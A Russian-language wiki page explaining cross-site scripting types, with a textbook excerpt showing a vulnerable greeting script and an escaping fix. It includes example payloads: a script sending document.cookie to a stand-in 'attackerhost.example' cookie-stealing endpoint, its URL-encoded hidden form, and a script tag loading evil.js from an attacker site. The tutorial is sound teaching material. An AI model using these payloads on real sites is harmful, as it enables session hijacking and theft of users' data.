Инструменты пользователя

Инструменты сайта


cross-site_scripting

Различия

Здесь показаны различия между двумя версиями данной страницы.

Ссылка на это сравнение

cross-site_scripting [2015/06/26 07:57] (текущий)
Строка 1: Строка 1:
 +====== Cross-Site Scripting ======
 +  * [[Классификатор угроз безопасности]] Интернет (Web- приложений)
 +
 +**Cross-Site Scripting** или XSS. Межсайтовый скриптинг (межсайтовое выполнение сценариев).
 +
 +Наличие уязвимости Cross-site Scripting позволяет атакующему передать серверу исполняемый код, который будет перенаправлен браузеру пользователя. Этот код обычно создается на языках HTML/​[[JavaScript]],​ но могут быть использованы VBScript, ActiveX, Java, Flash, или другие поддерживаемые браузером технологии.
 +
 +Переданный код исполняется в контексте безопасности (или зоне безопасности) уязвимого сервера. Используя эти привилегии,​ код получает возможность читать,​ модифицировать или передавать важные данные,​ доступные с помощью браузера. У атакованного пользователя может быть скомпрометирован аккакунт (кража cookie), его браузер может быть перенаправлен на другой сервер или осуществлена подмена содержимого сервера. В результате тщательно
 +спланированной атаки злоумышленник может использовать браузер жертвы для просмотра страниц сайта от имени атакуемого пользователя. Код может передаваться злоумышленником в URL, в заголовках [[HTTP]] запроса ([[cookie]],​ user-agent, refferer), значениях полей форм и т.д.
 +
 +Существует три типа атак, приводящих к межсайтовому выполнению сценариев:​ **non-persistent непостоянные** (отраженные),​ **persistent постоянные** (сохраненные) и основанные на [[DOM]]. Основным отличием между persistent и  non-persistent является то, что в отраженном варианте передача кода серверу и возврат его клиенту осуществляется в рамках одного HTTP- запроса,​ а в хранимом - в разных.
 +
 +Осуществление непостоянной атаки требует,​ чтобы пользователь перешел по ссылке,​ сформированной злоумышленником (ссылка может быть передана по email, ICQ и т.д.). В процессе загрузки сайта код, внедренный в URL или заголовки запроса будет передан клиенту и выполнен в его браузере.
 +
 +Сохраненная разновидность уязвимости возникает,​ когда код передается серверу и сохраняется на нем на некоторый промежуток времени. Наиболее популярными целями атак в этом случае являются форумы,​ почта с Web- интерфейсом и чаты.
 +Для атаки пользователю не обязательно переходить по ссылке,​ достаточно посетить уязвимый сайт.
 +  * **Пример. Сохраненный (persistent) вариант атаки.** Многие сайты имеют доски объявлений и форумы,​ которые позволяют пользователям оставлять сообщения. Зарегистрированный пользователь обычно идентифицируется по номеру
 +сессии,​ сохраняемому в cookie. Если атакующий оставит сообщение,​ содержащее код на языке JavaScript, он получит доступ к идентификатору сессии пользователя. Пример кода для передачи cookie:<​file>​
 +<​SCRIPT>​document.location= '​http://​attackerhost.example/​cgi-
 +bin/​cookiesteal.cgi?'​+document.cookie</​SCRIPT>​
 +</​file>​
 +  * **Пример. Отраженный (non-persistent) вариант атаки.** Многие серверы предоставляют пользователям возможность поиска по содержимому сервера. Как правило,​ запрос передается в URL и содержится в результирующей странице.
 +К примеру,​ при переходе по URL http://​portal.example/​search?​q=”fresh beer” пользователю будет отображена страница,​ содержащая результаты поиска и фразу: "По вашему запросу fresh beer найдено 0 страниц"​. Если в качестве искомой фразы будет передан Javascript, он выполнится в браузере пользователя. Пример:<​file>​
 +http://​portal.example/​search/?​q=<​script>​alert("​xss"​)</​script>​
 +</​file>​Для сокрытия кода сценария может быть использована кодировка [[simvolnye_podstanovki?&#​simvoly_kodirovanija_url|URLEncode]]<​file>​
 +http://​portal.example/​index.php?​sessionid=12312312&​
 +username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65
 +%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70
 +%3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65
 +%78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F
 +%6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64
 +%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73
 +%63%72%69%70%74%3E
 +</​file>​
 +  * **Пример.DOM- based**. [[http://​projects.webappsec.org/​w/​page/​13246920/​Cross%20Site%20Scripting|DOM-based Attack Example]]
 +====== Флэнаган Дэвид JavaScript ======
 +//​Выдержка из книги Флэнаган Дэвид JavaScript Полное руководство 5 издание.//​
 +
 +Термин межсайтовый скриптинг ​ (cross'​site scripting), или XSS, относится к области компьютерной уязвимости,​ когда атакующий внедряет HTML теги или сценарии ​ в  документы ​ на уязвимом ​ вебсайте. ​ Организация ​ защиты ​ от  XSS атак ​ –  обычное дело для вебразработчиков,​ занимающихся созданием серверных сценариев. Однако программисты,​ разрабатывающие клиентские [[JavaScript]] сценарии,​ также должны знать о XSS атаках и предпринимать меры защиты от них.
 +
 +Веб страница считается уязвимой для XSS атак, если она динамически создает содержимое документа на основе пользовательских данных,​ не прошедших предварительную обработку по удалению встроенного HTML кода. В качестве тривиального примера рассмотрим следующую веб-страницу,​ которая использует JavaScript сценарий,​ чтобы приветствовать пользователя по имени:
 +<​file>​
 +<​script>​
 +var name = decodeURIComponent(window.location.search.substring(6)) || "";​
 +document.write("​Привет " + name);
 +</​script>​
 +</​file>​
 +Во второй строке сценария вызывается метод ​ window.location.search.substring,​ с помощью которого извлекается часть адресной строки,​ начинающаяся с символа ?. Затем с помощью метода document.write() добавляется динамически сгенерированное содержимое документа. Этот сценарий предполагает,​ что обращение к вебстранице будет производиться с помощью примерно такого URL адреса:​
 +<​file>​
 +http://​www.example.com/​greet.html?​name=Давид
 +</​file>​
 +В этом случае будет выведен текст «Привет Давид». Но что произойдет,​ если страница будет запрошена с использованием следующего URLадреса:​
 +<​file>​
 +http://​www.example.com/​greet.html?​name=%3Cscript%3Ealert('​Давид'​)%3C/​script%3E
 +</​file>​
 +С таким содержимым URLадреса сценарий динамически сгенерирует другой сценарий (коды %3C и  %3E – это угловые скобки)! В данном случае вставленный сценарий просто отобразит диалоговое ​ окно, которое не представляет никакой опасности. Но представьте себе такой случай:​
 +<​file>​
 +http://​siteA/​greet.html?​name=%3Cscript src=siteB/​evil.js%3E%3C/​script%3E
 +</​file>​
 +Межсайтовый скриптинг потому так и называется,​ что в атаке участвует более одного сайта. Сайт B (или даже сайт C) включает специально сконструированную ссылку (подобную только что показанной) на сайт A, в которой содержится сценарий с сайта B. Сценарий evil.js размещается на сайте злоумышленника B, но теперь этот сценарий оказывается внедренным в сайт A и может делать все, что ему заблагорассудится с содержимым сайта A. Он может стереть страницу или вызвать другие нарушения в работе сайта (например,​ отказать в обслуживании,​ о чем рассказывается в следующем разделе). Это может отрицательно сказаться на посетителях сайта A. Гораздо опаснее,​ что такой злонамеренный сценарий может прочитать содержимое cookies, хранящихся на сайте A (возможно содержащих учетные номера или другие персональные сведения),​ и отправить эти данные обратно на сайт B. Внедренный сценарий может даже отслеживать нажатия клавиш и отправлять эти данные на сайт B.
 +
 +Универсальный способ предотвращения XSSатак заключается в удалении HTML тегов из всех данных сомнительного происхождения,​ прежде чем использовать их для динамического создания содержимого документа. Чтобы исправить эту проблему в показанном ранее файле ​ greet.html, нужно добавить следующую строку в сценарий,​ которая призвана удалять угловые скобки,​ окружающие тег <​script>:​
 +<​file>​
 +name = name.replace(/</​g,​ "&​lt;"​).replace(/>/​g,​ "&​gt;"​);​
 +</​file>​
 +Межсайтовый скриптинг представляет ​ собой уязвимость,​ глубоко уходящую корнями в архитектуру Всемирной паутины. Необходимо осознавать всю глубину этой уязвимости.
 +====== Ссылки ======
 +  * [[http://​projects.webappsec.org/​w/​page/​13246920/​Cross%20Site%20Scripting|WASC]]:​ Cross-Site Scripting.
 +  * [[http://​www.cert.org/​advisories/​CA-2000-02.html|CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests]]
 +  * [[http://​www.cgisecurity.com/​xss-faq.htmlThe Cross-Site Scripting (XSS) FAQ]]
 +  * [[http://​www.technicalinfo.net/​papers/​CSS.html|HTML Code Injection and Cross-site Scripting]]
 +
 +  * [[http://​www.securitylab.ru/​contest/​212115.php|XSS без XSS]]
  
загрузка...
cross-site_scripting.txt · Последние изменения: 2015/06/26 07:57 (внешнее изменение)